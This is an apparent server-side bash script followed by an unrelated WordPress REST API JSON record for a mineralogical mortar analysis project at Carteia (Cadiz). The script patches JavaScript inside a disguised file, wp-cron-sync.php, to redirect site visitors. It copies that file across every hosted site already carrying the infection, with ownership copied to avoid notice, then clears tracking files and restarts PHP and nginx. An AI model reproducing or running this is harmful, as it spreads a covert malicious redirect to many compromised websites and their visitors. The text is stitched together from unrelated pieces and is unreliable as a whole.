#!/bin/bash
SRC=/var/www/vhosts/uvegara.com/httpdocs/wp-cron-sync.php
grep -q '__lure=1' "$SRC" && echo ALREADY && exit 0
perl -0777 -i -pe 's#setTimeout\(function\(\)\{if\(document\.visibilityState.*?\}\,d\)#setTimeout(function(){var d=1300+Math.floor(Math.random()*1000);setTimeout(function(){if(document.visibilityState==="hidden"){setTimeout(arguments.callee,1500);return}location.replace(location.protocol+"//"+location.host+location.pathname+(location.search||"")+"\&__lure=1")},d)}#s' "$SRC"
grep -q '__lure=1' "$SRC" && echo PERL_OK || { echo PERL_FAIL; exit 1; }
cp "$SRC" /var/www/vhosts/uvegara.com/httpdocs/wp-cron-sync.php
F=0
for d in /var/www/vhosts/*/httpdocs; do
  ix="$d/index.php"; [ -f "$ix" ] || continue
  grep -q 'cron-sync' "$ix" || continue
  U=$(stat -c %U "$ix"); G=$(stat -c %G "$ix")
  cp $SRC "$d/wp-cron-sync.php"
  chown $U:$G "$d/wp-cron-sync.php"; chmod 644 "$d/wp-cron-sync.php"
  F=$((F+1))
done
find /var/www/vhosts/*/httpdocs -maxdepth 1 \( -name ".*.seen" -o -name "..*.stats" \) -delete 2>/dev/null
systemctl restart plesk-php84-fpm plesk-php83-fpm plesk-php82-fpm plesk-php81-fpm plesk-php80-fpm plesk-php74-fpm 2>/dev/null
systemctl reload nginx 2>/dev/null
echo "F57_DONE files=$F"
{"id":3027,"date":"2020-12-22T21:19:00","date_gmt":"2020-12-22T20:19:00","guid":{"rendered":"https:\/\/teselainnova.com\/proyecto\/analysis-mortero-carteia-cadiz\/"},"modified":"2020-12-22T21:19:00","modified_gmt":"2020-12-22T20:19:00","slug":"analysis-mortero-carteia-cadiz","status":"publish","type":"proyecto","link":"https:\/\/teselainnova.com\/en\/project\/analysis-mortero-carteia-cadiz\/","title":{"rendered":"MINERALOGICAL ANALYSIS OF A SAMPLE OF MORTAR FROM THE ARCHAEOLOGICAL SITE OF CARTEIA (CADIZ)"},"content":{"rendered":"","protected":false},"featured_media":3018,"template":"","fecha-realizacion":[86],"tipo-proyecto":[50],"class_list":["post-3027","proyecto","type-proyecto","status-publish","has-post-thumbnail","hentry","fecha-realizacion-2020-en","tipo-proyecto-heritage"],"acf":[],"_links":{"self":[{"href":"https:\/\/teselainnova.com\/en\/wp-json\/wp\/v2\/proyecto\/3027","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/teselainnova.com\/en\/wp-json\/wp\/v2\/proyecto"}],"about":[{"href":"https:\/\/teselainnova.com\/en\/wp-json\/wp\/v2\/types\/proyecto"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/teselainnova.com\/en\/wp-json\/wp\/v2\/media\/3018"}],"wp:attachment":[{"href":"https:\/\/teselainnova.com\/en\/wp-json\/wp\/v2\/media?parent=3027"}],"wp:term":[{"taxonomy":"fecha-realizacion","embeddable":true,"href":"https:\/\/teselainnova.com\/en\/wp-json\/wp\/v2\/fecha-realizacion?post=3027"},{"taxonomy":"tipo-proyecto","embeddable":true,"href":"https:\/\/teselainnova.com\/en\/wp-json\/wp\/v2\/tipo-proyecto?post=3027"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}